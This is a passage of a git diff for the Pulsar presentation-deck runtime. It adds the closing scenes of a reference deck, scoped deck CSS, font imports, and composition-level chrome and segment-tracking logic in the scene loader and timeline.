tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// Scene 10 — Authoring +// ---------------------------------------------------------------------- + +const authorScene = buildScene({ + id: 'pi-author', + title: 'Pulsar — authoring', + caption: 'A new deck is scene content plus a composition manifest. No runtime fork.', + surface: 'ink', + section: '10', + build: (root, doc) => { + const frame = doc.createElement('div'); + frame.className = 'pi-frame'; + + const eyebrow = doc.createElement('div'); + eyebrow.className = 'pi-eyebrow'; + eyebrow.textContent = 'Authoring'; + + const heading = doc.createElement('h2'); + heading.className = 'pi-heading'; + heading.textContent = 'A new deck is content.'; + + const body = doc.createElement('p'); + body.className = 'pi-body'; + body.textContent = + 'Two files. Scene modules declare what to show. A composition manifest declares the order and transitions. The runtime is untouched.'; + + const code = doc.createElement('pre'); + code.className = 'pi-code'; + code.innerHTML = [ + '// src/decks/my-talk/content.ts', + 'export const MY_TALK_SCENES = [openingScene, walkthroughScene, demoScene] as const', + '', + '// src/decks/my-talk/composition.ts', + 'export const myTalkComposition: CompositionManifest = [', + " 'opening',", + " { id: 'walkthrough', behavior: { transition: { name: 'dissolve' } } },", + " { id: 'demo', behavior: { transition: { name: 'hold-on-black' } } },", + ']', + ].join('\n'); + + frame.appendChild(eyebrow); + frame.appendChild(heading); + frame.appendChild(body); + frame.appendChild(code); + root.appendChild(frame); + }, + beats: (tl, id) => { + tl.addLabel('eyebrow-in', 0); + tl.fromTo( + sel(id, '.pi-eyebrow'), + { opacity: 0, y: 6 }, + { opacity: 1, y: 0, duration: 0.4, ease: 'expo.out' }, + 0, + ); + tl.addLabel('heading-in', 0.25); + tl.fromTo( + sel(id, '.pi-heading'), + { opacity: 0, y: 12 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.25, + ); + tl.addLabel('body-in', 0.6); + tl.fromTo( + sel(id, '.pi-body'), + { opacity: 0, y: 10 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.6, + ); + tl.addLabel('shape-in', 1.0); + tl.fromTo( + sel(id, '.pi-code'), + { opacity: 0, y: 12 }, + { opacity: 1, y: 0, duration: 0.6, ease: 'expo.out' }, + 1.0, + ); + tl.to({}, { duration: 1.6 }); + }, +}); + +// ---------------------------------------------------------------------- +// Scene 11 — Self-reference +// ---------------------------------------------------------------------- + +const selfScene = buildScene({ + id: 'pi-self', + title: 'Pulsar — self-reference', + caption: 'You are watching one composition of these scenes.', + surface: 'paper', + section: '11', + build: (root, doc) => { + const frame = doc.createElement('div'); + frame.className = 'pi-frame pi-frame--center'; + + const display = doc.createElement('h2'); + display.className = 'pi-display'; + display.innerHTML = renderDisplayWords([ + { text: 'You' }, + { text: 'are' }, + { text: 'watching' }, + { text: 'one', em: true }, + { text: 'composition' }, + { text: 'of' }, + { text: 'these' }, + { text: 'scenes.' }, + ]); + + const sub = doc.createElement('p'); + sub.className = 'pi-body'; + sub.style.fontFamily = 'var(--pi-mono)'; + sub.style.marginTop = 'clamp(24px, 3vh, 40px)'; + sub.style.textAlign = 'center'; + sub.textContent = '?composition=pulsar-intro&mode=present'; + + frame.appendChild(display); + frame.appendChild(sub); + root.appendChild(frame); + }, + beats: (tl, id) => { + tl.addLabel('display-in', 0); + tl.fromTo( + sel(id, '.pi-display__w'), + { opacity: 0, y: 16 }, + { opacity: 1, y: 0, duration: 0.6, stagger: 0.07, ease: 'expo.out' }, + 0, + ); + tl.addLabel('sub-in', 1.0); + tl.fromTo( + sel(id, '.pi-body'), + { opacity: 0, y: 10 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 1.0, + ); + tl.to({}, { duration: 1.4 }); + }, +}); + +// ---------------------------------------------------------------------- +// Scene 12 — Outro / try it +// ---------------------------------------------------------------------- + +const outroScene = buildScene({ + id: 'pi-outro', + title: 'Pulsar — try it', + caption: 'Try these URLs on the same composition.', + surface: 'ink', + section: 'end · 12 of 12', + holdForever: true, + build: (root, doc) => { + const frame = doc.createElement('div'); + frame.className = 'pi-frame'; + + const eyebrow = doc.createElement('div'); + eyebrow.className = 'pi-eyebrow'; + eyebrow.textContent = 'Try it'; + + const heading = doc.createElement('h2'); + heading.className = 'pi-heading'; + heading.textContent = 'Same composition. Paste any of these into the address bar.'; + + const list = doc.createElement('div'); + list.className = 'pi-tries'; + + const rows: readonly { url: string; desc: string }[] = [ + { + url: '?composition=pulsar-intro&mode=scrub', + desc: 'A scrub bar mounts; jump between named beats.', + }, + { + url: '?composition=pulsar-intro&mode=prompter', + desc: 'Captions only. Pop a second window for the speaker view.', + }, + { + url: '?composition=pulsar-intro&mode=loop', + desc: 'The composition restarts on completion.', + }, + { + url: '?composition=pulsar-intro&mode=paused', + desc: 'Held at frame zero. Useful for inspection.', + }, + { + url: '?scene=pi-recompose&mode=present', + desc: 'Address a single scene without surrounding composition.', + }, + ]; + for (const r of rows) { + const row = doc.createElement('div'); + row.className = 'pi-try'; + const url = doc.createElement('div'); + url.className = 'pi-try__url'; + url.textContent = r.url; + const desc = doc.createElement('div'); + desc.className = 'pi-try__desc'; + desc.textContent = r.desc; + row.appendChild(url); + row.appendChild(desc); + list.appendChild(row); + } + + frame.appendChild(eyebrow); + frame.appendChild(heading); + frame.appendChild(list); + root.appendChild(frame); + }, + beats: (tl, id) => { + tl.addLabel('eyebrow-in', 0); + tl.fromTo( + sel(id, '.pi-eyebrow'), + { opacity: 0, y: 6 }, + { opacity: 1, y: 0, duration: 0.4, ease: 'expo.out' }, + 0, + ); + tl.addLabel('heading-in', 0.25); + tl.fromTo( + sel(id, '.pi-heading'), + { opacity: 0, y: 12 }, + { opacity: 1, y: 0, duration: 0.5, ease: 'expo.out' }, + 0.25, + ); + tl.addLabel('rows-in', 0.7); + tl.fromTo( + sel(id, '.pi-try'), + { opacity: 0, x: -8 }, + { opacity: 1, x: 0, duration: 0.45, stagger: 0.13, ease: 'expo.out' }, + 0.7, + ); + tl.to({}, { duration: 1.6 }); + }, +}); + +export const PULSAR_INTRO_SCENES: readonly SceneModule[] = [ + titleScene, + thesisScene, + sceneScene, + compositionScene, + recomposeScene, + modesScene, + urlScene, + transportScene, + layersScene, + authorScene, + selfScene, + outroScene, ]; diff --git a/src/decks/pulsar-intro/index.ts b/src/decks/pulsar-intro/index.ts index a905ab3..e4b2074 100644 --- a/src/decks/pulsar-intro/index.ts +++ b/src/decks/pulsar-intro/index.ts @@ -1,4 +1,14 @@ // Pulsar reference deck — public surface for workbench-graph. +// +// Side-effect imports here pull the deck's bespoke CSS and the variable +// fonts the deck depends on into the bundle. The workbench-graph +// re-exports the scenes + composition entry; the side effects ride +// along whenever this module is imported. + +import '@fontsource-variable/geist'; +import '@fontsource-variable/geist-mono'; +import '@fontsource-variable/source-serif-4'; +import './styles.css'; export { PULSAR_INTRO_COMPOSITION_ID, diff --git a/src/decks/pulsar-intro/styles.css b/src/decks/pulsar-intro/styles.css new file mode 100644 index 0000000..0634107 --- /dev/null +++ b/src/decks/pulsar-intro/styles.css @@ -0,0 +1,468 @@ +/* Pulsar reference deck — bespoke per-deck styles. + * + * Scoped to scene roots that carry both `.pulsar-template` (mounted by + * the runtime scene envelope) and `.pulsar-intro` (extra class set by + * this deck's scenes). Every selector below is keyed on `.pulsar-intro` + * so this CSS cannot leak into other decks. + */ + +.pulsar-intro { + --pi-ink: #0a0a0a; + --pi-ink-soft: #1c1c1c; + --pi-paper: #f4efe3; + --pi-paper-soft: #e6e1d2; + --pi-text-on-ink: #ededea; + --pi-text-on-ink-dim: rgba(237, 237, 234, 0.62); + --pi-text-on-ink-faint: rgba(237, 237, 234, 0.34); + --pi-text-on-paper: #1a1816; + --pi-text-on-paper-dim: rgba(26, 24, 22, 0.62); + --pi-text-on-paper-faint: rgba(26, 24, 22, 0.34); + --pi-accent: #e2a24c; + --pi-accent-soft: rgba(226, 162, 76, 0.18); + + --pi-rule: 1px solid currentColor; + --pi-rule-soft: 1px solid rgba(237, 237, 234, 0.14); + --pi-rule-soft-paper: 1px solid rgba(26, 24, 22, 0.12); + + --pi-sans: "Geist Variable", "Geist", -apple-system, "Segoe UI", system-ui, sans-serif; + --pi-mono: "Geist Mono Variable", "Geist Mono", "JetBrains Mono", ui-monospace, monospace; + --pi-serif: "Source Serif 4 Variable", "Source Serif 4", "Source Serif Pro", Georgia, serif; + + --pi-rail: clamp(48px, 8vw, 160px); + --pi-stack: clamp(20px, 2vw, 36px); +} + +/* Override the L2 template envelope so the deck owns its surface. + * The L2 base rule sets inset to the letterbox (5.5vh top/bottom); + * this deck reads cleaner full-bleed. */ +.pulsar-template.pulsar-intro { + inset: 0; + color: var(--pi-text-on-ink); + font-family: var(--pi-sans); + font-feature-settings: "ss01", "cv01", "cv11"; + text-rendering: optimizeLegibility; + -webkit-font-smoothing: antialiased; +} + +/* Two surfaces. The deck switches between them by adding + * .pi-surface--ink or .pi-surface--paper to the scene root. */ +.pulsar-intro.pi-surface--ink { + background: var(--pi-ink); + color: var(--pi-text-on-ink); +} + +.pulsar-intro.pi-surface--paper { + background: var(--pi-paper); + color: var(--pi-text-on-paper); +} + +/* Canonical content frame. */ +.pulsar-intro .pi-frame { + position: absolute; + inset: 0; + display: flex; + flex-direction: column; + justify-content: center; + padding: clamp(32px, 5vh, 96px) var(--pi-rail); + max-width: 1640px; + margin: 0 auto; +} + +.pulsar-intro .pi-frame--top { + justify-content: flex-start; + padding-top: clamp(48px, 8vh, 140px); +} + +.pulsar-intro .pi-frame--center { + justify-content: center; + align-items: center; + text-align: center; +} + +/* Folio line at the bottom of every scene — small mono cue identifying + * the deck + composition without intruding. */ +.pulsar-intro .pi-folio { + position: absolute; + left: var(--pi-rail); + right: var(--pi-rail); + bottom: clamp(20px, 3vh, 40px); + display: flex; + justify-content: space-between; + align-items: baseline; + font-family: var(--pi-mono); + font-size: 11px; + letter-spacing: 0.08em; + text-transform: uppercase; +} + +.pulsar-intro.pi-surface--ink .pi-folio { + color: var(--pi-text-on-ink-faint); +} + +.pulsar-intro.pi-surface--paper .pi-folio { + color: var(--pi-text-on-paper-faint); +} + +.pulsar-intro .pi-folio__mark { + font-weight: 600; +} + +/* ---------- Title scene ---------- */ + +.pulsar-intro .pi-title { + font-family: var(--pi-sans); + font-weight: 600; + font-size: clamp(96px, 14vw, 248px); + line-height: 0.92; + letter-spacing: -0.035em; + margin: 0; +} + +.pulsar-intro .pi-title__a { + display: inline-block; + opacity: 0; + transform: translateY(0.08em); +} + +.pulsar-intro .pi-title__dot { + color: var(--pi-accent); + display: inline-block; + opacity: 0; +} + +.pulsar-intro .pi-subtitle { + margin-top: clamp(24px, 3vh, 48px); + max-width: 36ch; + font-family: var(--pi-sans); + font-weight: 400; + font-size: clamp(20px, 1.8vw, 28px); + line-height: 1.4; + color: var(--pi-text-on-ink-dim); + letter-spacing: -0.005em; + opacity: 0; +} + +/* ---------- Display thesis ---------- */ + +.pulsar-intro .pi-display { + font-family: var(--pi-serif); + font-weight: 400; + font-size: clamp(48px, 7.5vw, 132px); + line-height: 1.02; + letter-spacing: -0.022em; + max-width: 22ch; + margin: 0; + text-wrap: balance; +} + +.pulsar-intro .pi-display__w { + display: inline-block; + opacity: 0; + transform: translateY(0.12em); + margin-right: 0.28em; +} + +.pulsar-intro .pi-display__w:last-child { + margin-right: 0; +} + +.pulsar-intro .pi-display__em { + font-style: italic; +} + +/* ---------- Section heading ---------- */ + +.pulsar-intro .pi-eyebrow { + font-family: var(--pi-mono); + font-size: 12px; + font-weight: 500; + letter-spacing: 0.18em; + text-transform: uppercase; + margin: 0 0 clamp(16px, 2vh, 28px) 0; + opacity: 0; +} + +.pulsar-intro.pi-surface--ink .pi-eyebrow { + color: var(--pi-accent); +} + +.pulsar-intro.pi-surface--paper .pi-eyebrow { + color: var(--pi-accent); +} + +.pulsar-intro .pi-heading { + font-family: var(--pi-sans); + font-weight: 500; + font-size: clamp(38px, 5vw, 84px); + line-height: 1.04; + letter-spacing: -0.022em; + margin: 0 0 clamp(24px, 3vh, 48px) 0; + max-width: 22ch; + opacity: 0; +} + +.pulsar-intro .pi-body { + font-family: var(--pi-sans); + font-size: clamp(18px, 1.5vw, 24px); + line-height: 1.5; + letter-spacing: -0.005em; + max-width: 50ch; + margin: 0; + opacity: 0; +} + +.pulsar-intro.pi-surface--ink .pi-body { + color: var(--pi-text-on-ink-dim); +} + +.pulsar-intro.pi-surface--paper .pi-body { + color: var(--pi-text-on-paper-dim); +} + +/* ---------- Code shape ---------- */ + +.pulsar-intro .pi-code { + font-family: var(--pi-mono); + font-size: clamp(15px, 1.15vw, 19px); + line-height: 1.7; + letter-spacing: 0; + margin: clamp(28px, 3vh, 56px) 0 0 0; + padding: clamp(22px, 2.4vw, 36px) clamp(24px, 2.6vw, 40px); + border: var(--pi-rule-soft); + border-radius: 2px; + max-width: 64ch; + background: rgba(255, 255, 255, 0.02); + opacity: 0; + white-space: pre; + overflow-x: auto; + tab-size: 2; +} + +.pulsar-intro.pi-surface--paper .pi-code { + border: var(--pi-rule-soft-paper); + background: rgba(26, 24, 22, 0.03); +} + +.pulsar-intro .pi-code__k { + color: var(--pi-accent); +} + +.pulsar-intro.pi-surface--ink .pi-code { + color: var(--pi-text-on-ink); +} + +.pulsar-intro.pi-surface--paper .pi-code { + color: var(--pi-text-on-paper); +} + +.pulsar-intro .pi-code__c { + color: var(--pi-text-on-ink-faint); + font-style: italic; +} + +.pulsar-intro.pi-surface--paper .pi-code__c { + color: var(--pi-text-on-paper-faint); +} + +/* ---------- Recomposition triptych ---------- */ + +.pulsar-intro .pi-tri { + display: grid; + grid-template-columns: repeat(3, 1fr); + gap: clamp(24px, 2.4vw, 44px); + margin-top: clamp(32px, 3vh, 56px); +} + +.pulsar-intro .pi-tri__col { + display: flex; + flex-direction: column; + gap: clamp(12px, 1.4vw, 20px); + opacity: 0; +} + +.pulsar-intro .pi-tri__name { + font-family: var(--pi-sans); + font-weight: 500; + font-size: clamp(20px, 1.6vw, 26px); + letter-spacing: -0.01em; + margin: 0; +} + +.pulsar-intro .pi-tri__rule { + height: 1px; + background: currentColor; + opacity: 0.18; + width: 100%; +} + +.pulsar-intro .pi-tri__list { + list-style: none; + margin: 0; + padding: 0; + font-family: var(--pi-mono); + font-size: clamp(13px, 1vw, 16px); + line-height: 1.85; + letter-spacing: 0; +} + +.pulsar-intro .pi-tri__item { + display: flex; + gap: 10px; + align-items: baseline; +} + +.pulsar-intro .pi-tri__num { + color: var(--pi-text-on-paper-faint); + width: 16px; + text-align: right; + font-variant-numeric: tabular-nums; +} + +.pulsar-intro.pi-surface--ink .pi-tri__num { + color: var(--pi-text-on-ink-faint); +} + +.pulsar-intro .pi-tri__item--shared .pi-tri__id { + color: var(--pi-accent); +} + +/* ---------- Mode list ---------- */ + +.pulsar-intro .pi-modes { + display: grid; + grid-template-columns: minmax(0, max-content) 1fr; + gap: clamp(10px, 1.2vh, 18px) clamp(24px, 2.4vw, 44px); + margin-top: clamp(28px, 3vh, 48px); + align-items: baseline; +} + +.pulsar-intro .pi-modes__url { + font-family: var(--pi-mono); + font-size: clamp(15px, 1.2vw, 20px); + font-weight: 500; + opacity: 0; +} + +.pulsar-intro .pi-modes__url .pi-modes__k { + color: var(--pi-accent); +} + +.pulsar-intro .pi-modes__desc { + font-family: var(--pi-sans); + font-size: clamp(15px, 1.2vw, 19px); + line-height: 1.5; + opacity: 0; +} + +.pulsar-intro.pi-surface--ink .pi-modes__desc { + color: var(--pi-text-on-ink-dim); +} + +.pulsar-intro.pi-surface--paper .pi-modes__desc { + color: var(--pi-text-on-paper-dim); +} + +/* ---------- Layers ---------- */ + +.pulsar-intro .pi-layers { + display: grid; + grid-template-columns: repeat(3, 1fr); + gap: clamp(20px, 2vw, 36px); + margin-top: clamp(32px, 3vh, 56px); +} + +.pulsar-intro .pi-layer { + padding: clamp(24px, 2.4vw, 36px); + border: var(--pi-rule-soft-paper); + border-radius: 2px; + display: flex; + flex-direction: column; + gap: clamp(12px, 1.2vh, 18px); + opacity: 0; +} + +.pulsar-intro.pi-surface--ink .pi-layer { + border: var(--pi-rule-soft); +} + +.pulsar-intro .pi-layer__tag { + font-family: var(--pi-mono); + font-size: 11px; + letter-spacing: 0.18em; + text-transform: uppercase; + color: var(--pi-accent); +} + +.pulsar-intro .pi-layer__name { + font-family: var(--pi-sans); + font-weight: 500; + font-size: clamp(24px, 2vw, 32px); + letter-spacing: -0.015em; + margin: 0; +} + +.pulsar-intro .pi-layer__list { + margin: 0; + padding: 0; + list-style: none; + font-family: var(--pi-mono); + font-size: clamp(13px, 1vw, 16px); + line-height: 1.7; +} + +.pulsar-intro.pi-surface--ink .pi-layer__list { + color: var(--pi-text-on-ink-dim); +} + +.pulsar-intro.pi-surface--paper .pi-layer__list { + color: var(--pi-text-on-paper-dim); +} + +/* ---------- Outro try-list ---------- */ + +.pulsar-intro .pi-tries { + display: grid; + gap: clamp(14px, 1.6vh, 22px); + margin-top: clamp(32px, 3vh, 48px); +} + +.pulsar-intro .pi-try { + display: grid; + grid-template-columns: minmax(0, max-content) 1fr; + gap: clamp(20px, 2vw, 36px); + align-items: baseline; + font-family: var(--pi-mono); + font-size: clamp(14px, 1.15vw, 18px); + opacity: 0; +} + +.pulsar-intro .pi-try__url { + color: var(--pi-accent); +} + +.pulsar-intro .pi-try__desc { + font-family: var(--pi-sans); + font-size: clamp(15px, 1.2vw, 18px); +} + +.pulsar-intro.pi-surface--ink .pi-try__desc { + color: var(--pi-text-on-ink-dim); +} + +.pulsar-intro.pi-surface--paper .pi-try__desc { + color: var(--pi-text-on-paper-dim); +} + +/* ---------- Misc emphasis ---------- */ + +.pulsar-intro .pi-mark { + color: var(--pi-accent); +} + +.pulsar-intro .pi-rule { + width: clamp(28px, 4vw, 56px); + height: 1px; + background: var(--pi-accent); + margin-bottom: clamp(20px, 2.5vh, 36px); + opacity: 0; +} diff --git a/src/main.ts b/src/main.ts index 650c8a0..d4d1d42 100644 --- a/src/main.ts +++ b/src/main.ts @@ -181,10 +181,24 @@ document.body.appendChild(transitionOverlay); let scrubControls: ScrubControlsHandle | undefined; let scrubMode = false; +let activeMode: NavigationMode = 'present'; + +const applyActiveSegment = (segment: import('./runtime/timeline').MasterSegment): void => { + if (stage === null) return; + stage.setAttribute('data-pulsar-scene-target', segment.id); + if (activeMode !== 'present') return; + const roots = stage.querySelectorAll('[data-pulsar-template]'); + for (const root of Array.from(roots)) { + const shouldActive = root.getAttribute('data-pulsar-template') === segment.id; + root.setAttribute('data-pulsar-template-active', shouldActive ? 'true' : 'false'); + } +}; + const timeline = createGsapCompositionTimeline({ engine: timelineEngine, transitions: defaultTransitions(), transitionOverlay, + onSegmentChange: applyActiveSegment, // The composition timeline adapter reports the live master once per // activation. Under `mode=scrub` the master is held live for the // scrub controls to drive (PUL-F017 / ADR-020); every other mode @@ -281,7 +295,7 @@ const audioUnlockAdapter = createDomAudioUnlockAdapter({ // Center the gate on screen at the highest z-index. Without // these inline styles the bare button sits at the top-left of // #stage, defaults the browser-native styling, and is occluded - // by the chrome surface (the dancing atmospheric overlays). + // by the chrome surface. button.setAttribute( 'style', [ @@ -331,10 +345,10 @@ const chrome = createDomWorkbenchChrome({ }, }); -// Populate the chrome surface with the L2 slot DOM (vignette, -// scanlines, grain, letterbox bars, title/brand/centerpiece/ -// lower-third/tag/act-frame/flash slots). Scenes built from the L2 -// template library read these refs via `ctx.chrome`. +// Populate the chrome surface with the L2 slot DOM (optional +// atmosphere, title/brand/centerpiece/lower-third/tag/act-frame/flash +// slots). Scenes built from the L2 template library read these refs +// via `ctx.chrome`. const chromeSurfaceEl = document.querySelector( '[data-pulsar-chrome="surface"]', ) as HTMLElement | null; @@ -444,11 +458,13 @@ const onNavigate = (event: Event): void => { // master. A successful `mode=scrub` activation re-attaches via the // timeline adapter's `onMaster` hook; every other navigation leaves // the controls hidden. - scrubMode = effectiveMode(target) === 'scrub'; + activeMode = effectiveMode(target); + scrubMode = activeMode === 'scrub'; scrubControls?.detach(); void loader.handle(target); }; const onNavigateError = (event: Event): void => { + activeMode = 'present'; scrubMode = false; scrubControls?.detach(); loader.handleError((event as CustomEvent).detail); diff --git a/src/runtime/scene-loader.ts b/src/runtime/scene-loader.ts index bc1b14e..3c0db08 100644 --- a/src/runtime/scene-loader.ts +++ b/src/runtime/scene-loader.ts @@ -419,13 +419,13 @@ export interface SceneLoaderOptions { readonly audioUnlockAdapter?: AudioUnlockAdapter; /** * PUL-F031 / ADR-031: workbench-supplied chrome controller. The - * loader calls `chrome.applyMode(effectiveMode(target))` once per - * navigation, immediately after mode-grammar validation passes and - * BEFORE scene resolution / lifecycle work, so chrome visibility - * tracks the addressed workbench mode (`present` → visible; - * `standalone` / `screenshot` → hidden; other modes → visible per - * preflight policy) and a present-mode composition does not flash - * an un-chromed frame. + * loader applies the composition-scoped chrome policy and then calls + * `chrome.applyMode(effectiveMode(target))` once per navigation, + * immediately after mode-grammar validation passes and BEFORE + * lifecycle work, so chrome visibility tracks the addressed workbench + * mode (`present` → visible; `standalone` / `screenshot` → hidden; + * other modes → visible per preflight policy) and a present-mode + * composition does not flash an un-chromed frame. * * Chrome is workbench-owned and built at bootstrap by * `src/runtime/workbench-chrome.ts`. The loader's seam is @@ -441,8 +441,8 @@ export interface SceneLoaderOptions { * {@link audioUnlockAdapter} follow. * * The chrome surface persists across scene navigations within a - * composition because the loader's single call site is upstream of - * the resolver's per-scene loop — a multi-scene composition under + * composition because the loader's single dispatch call is upstream + * of the resolver's per-scene loop — a multi-scene composition under * `mode=present` produces exactly one `applyMode('present')` call. * Per ADR-007 / ADR-016 / PUL-A008, chrome state is workbench-owned * and scenes never see a chrome handle. @@ -469,6 +469,12 @@ export interface WorkbenchChromeAdapter { * compatible — the loader only calls it when defined. */ setForcedVisibility?(visibility: 'hidden' | null): void; + /** + * Optional composition-scoped atmospheric layer switch. The global + * workbench default is no animated atmospheric background; decks that + * were designed for it opt in from the composition manifest. + */ + setAtmosphere?(atmosphere: 'cinematic' | null): void; } /** @@ -1197,25 +1203,53 @@ export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { return buildUnlockGate(options.audioUnlockAdapter, composition); }; + const chromeBehaviorFromResolved = (resolved: SceneNavigationTarget | null): unknown => { + const head = resolved?.composition?.manifestSlice[0]; + if (head === null || typeof head !== 'object') return undefined; + return (head as { readonly behavior?: { readonly chrome?: unknown } }).behavior?.chrome; + }; + + const chromeBehaviorForTarget = (target: NavigationTarget): unknown => { + try { + return chromeBehaviorFromResolved( + resolveSceneNavigation(target, { + scenes: options.scenes, + compositions: options.compositions, + }), + ); + } catch { + return undefined; + } + }; + + const applyChromeDispatchPolicy = ( + chrome: WorkbenchChromeAdapter, + mode: NavigationMode, + chromeBehavior: unknown, + ): void => { + const forcedVisibility = chromeBehavior === 'hidden' ? 'hidden' : null; + const atmosphere = + typeof chromeBehavior === 'object' && + chromeBehavior !== null && + (chromeBehavior as { readonly atmosphere?: unknown }).atmosphere === 'cinematic' + ? 'cinematic' + : null; + chrome.setForcedVisibility?.(forcedVisibility); + chrome.setAtmosphere?.(atmosphere); + chrome.applyMode(mode); + }; + /** - * Composition-level chrome opt-out: when the head manifest entry's - * `behavior.chrome === 'hidden'`, the deck owns its own atmospherics - * and pulsar's chrome surface is hidden for the whole composition. - * Clears any prior override when the deck doesn't declare it, so a - * back-nav from a chrome-hidden deck to a chrome-on deck restores - * the surface. Hoisted out of `buildLoad` to keep that function - * within Sonar's cognitive-complexity budget (S3776). + * Composition-level chrome policy: the head manifest entry's + * `behavior.chrome` can hide chrome or opt into cinematic atmosphere. + * The default is explicit reset (`forcedVisibility=null`, + * `atmosphere=null`) so a navigation away from an atmospheric deck + * clears that state immediately, before serialized scene cleanup. */ - const applyChromeOverride = (resolved: SceneNavigationTarget, mode: NavigationMode): void => { + const applyChromeForTarget = (target: NavigationTarget): void => { const chrome = options.chrome; - if (chrome === undefined || chrome.setForcedVisibility === undefined) return; - const head = resolved.composition?.manifestSlice[0]; - const headBehavior = - head === null || typeof head !== 'object' - ? undefined - : (head as { readonly behavior?: { readonly chrome?: unknown } }).behavior; - chrome.setForcedVisibility(headBehavior?.chrome === 'hidden' ? 'hidden' : null); - chrome.applyMode(mode); + if (chrome === undefined) return; + applyChromeDispatchPolicy(chrome, effectiveMode(target), chromeBehaviorForTarget(target)); }; const buildLoad = ( @@ -1239,7 +1273,6 @@ export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { // combined per occurrence in `buildSceneCtx` so every scene // occurrence gets its own seeded `ctx.rng`. const navigationSeed = deriveNavigationSeed(target); - applyChromeOverride(resolved, mode); let preloadAssets: AssetPreloader; try { preloadAssets = options.createPreloader(controller.signal); @@ -1810,7 +1843,7 @@ export function createSceneLoader(options: SceneLoaderOptions): SceneLoader { if (options.chrome === undefined) return null; if (validateModeGrammar(target) !== null) return null; try { - options.chrome.applyMode(effectiveMode(target)); + applyChromeForTarget(target); return null; } catch (err) { return err instanceof Error ? err : new Error(String(err)); diff --git a/src/runtime/timeline.ts b/src/runtime/timeline.ts index 2d97f58..d830112 100644 --- a/src/runtime/timeline.ts +++ b/src/runtime/timeline.ts @@ -266,6 +266,24 @@ export interface MasterBeat { readonly time: number; } +/** + * One composition segment anchor on the composed master timeline. This + * is the scene-level cursor surface used by presenter navigation; it + * deliberately excludes scene-authored beat labels. + */ +export interface MasterSegment { + /** The scene id this composition segment plays. */ + readonly id: string; + /** The segment's 0-based position in the active composition slice. */ + readonly index: number; + /** Which occurrence of `id` this segment represents. */ + readonly occurrence: number; + /** The segment-start master label. */ + readonly label: string; + /** The segment-start time on the master timeline, in seconds. */ + readonly time: number; +} + /** * The composed master timeline's transport surface (PUL-F022 C3) and * the canonical beat-query surface (PUL-F023 / ADR-026). All methods @@ -582,6 +600,12 @@ export interface ComposeMasterTimelineOptions { readonly transitions?: TransitionRegistry; /** Optional overlay element the registered transitions may mutate. */ readonly transitionOverlay?: HTMLElement | null; + /** + * Called when forward playback reaches a segment-start anchor. Direct + * presenter skips report their target explicitly and do not rely on + * this GSAP callback. + */ + readonly onSegmentStart?: (segment: MasterSegment) => void; /** * Dynamic audio cue gate (PUL-F017 / ADR-020). Supplied only for a * `scrub`-mode master; the resulting {@link MasterTimeline}'s @@ -641,7 +665,18 @@ export function composeMasterTimeline( // lands at (`'>'` appends at the current end) and the offset for // the segment's labels in master coordinates. const start = master.duration(); - master.addLabel(sceneSegmentLabel(segment.id, occurrence), start); + const segmentLabel = sceneSegmentLabel(segment.id, occurrence); + const segmentAnchor: MasterSegment = { + id: segment.id, + index: segmentIndex, + occurrence, + label: segmentLabel, + time: start, + }; + master.addLabel(segmentLabel, start); + if (options.onSegmentStart !== undefined) { + master.call(() => options.onSegmentStart?.(segmentAnchor), [], start); + } const child = segment.timeline; if (isGsapTimeline(child)) { // Normalize the scene's timeline before nesting: pause it (a scene @@ -677,6 +712,13 @@ export interface GsapCompositionTimelineOptions { * this to drive `play` / `pause` / `seek` / `setSpeed`. Optional. */ readonly onMaster?: (master: MasterTimeline) => void; + /** + * Observability + UI-state seam: invoked when the active scene + * segment changes. Presenter skips call it directly from the segment + * cursor; forward playback may also call it from segment-start + * timeline callbacks. + */ + readonly onSegmentChange?: (segment: MasterSegment) => void; /** * Inter-scene transitions registry. When supplied, manifest entries * whose `behavior.transition` declares a name present in the @@ -795,21 +837,30 @@ function positionMaster( function buildSegmentLabelMap( segments: readonly SceneTimelineSegment[], master: MasterTimeline, -): readonly { id: string; label: string; time: number }[] { +): readonly MasterSegment[] { const occurrences = new Map(); - const out: { id: string; label: string; time: number }[] = []; - for (const segment of segments) { + const out: MasterSegment[] = []; + for (const [index, segment] of segments.entries()) { const n = occurrences.get(segment.id) ?? 0; occurrences.set(segment.id, n + 1); const label = sceneSegmentLabel(segment.id, n); const time = master.labels[label]; if (typeof time === 'number') { - out.push({ id: segment.id, label, time }); + out.push({ id: segment.id, index, occurrence: n, label, time }); } } return out; } +const segmentIndexAtTime = (segments: readonly MasterSegment[], time: number): number => { + if (segments.length === 0) return -1; + for (let i = segments.length - 1; i >= 0; i--) { + const segment = segments[i]; + if (segment !== undefined && time >= segment.time - 0.001) return i; + } + return 0; +}; + /** * Per-activation presenter transport state, held inside the * {@link createGsapCompositionTimeline} `run` closure (fresh per @@ -826,6 +877,8 @@ interface PresenterTransportState { held: boolean; /** A PUL-F021 transport `pause` freeze is engaged. */ explicitlyPaused: boolean; + /** Current scene segment cursor in the active composition slice. */ + activeSegmentIndex: number; } /** @@ -856,8 +909,9 @@ interface PresenterTransportState { */ function presenterAdvance( master: MasterTimeline, - segments: readonly SceneTimelineSegment[], + segments: readonly MasterSegment[], state: PresenterTransportState, + onSegmentChange: (segment: MasterSegment) => void, ): void { // ADR-024: a beat-pacing command received while explicitly paused // MUST NOT resume playback — drop it; the frozen playhead stays put. @@ -870,25 +924,38 @@ function presenterAdvance( } const now = master.time(); const beatTimes = master.beats().map((b) => b.time); - const segmentTimes = buildSegmentLabelMap(segments, master).map((s) => s.time); - const next = [...beatTimes, ...segmentTimes] - .filter((t) => t > now + 0.05) - .sort((a, b) => a - b)[0]; - if (next !== undefined) master.seek(next); + const nextBeat = beatTimes.filter((t) => t > now + 0.05).sort((a, b) => a - b)[0]; + const nextSegment = segments.find((s) => s.time > now + 0.05); + if (nextBeat === undefined && nextSegment === undefined) return; + if (nextSegment !== undefined && (nextBeat === undefined || nextSegment.time <= nextBeat)) { + master.seek(nextSegment.time); + state.activeSegmentIndex = nextSegment.index; + onSegmentChange(nextSegment); + return; + } + if (nextBeat !== undefined) { + master.seek(nextBeat); + state.activeSegmentIndex = segmentIndexAtTime(segments, nextBeat); + } } /** - * Shared skip body: seek to `target` (when defined), then — unless an - * 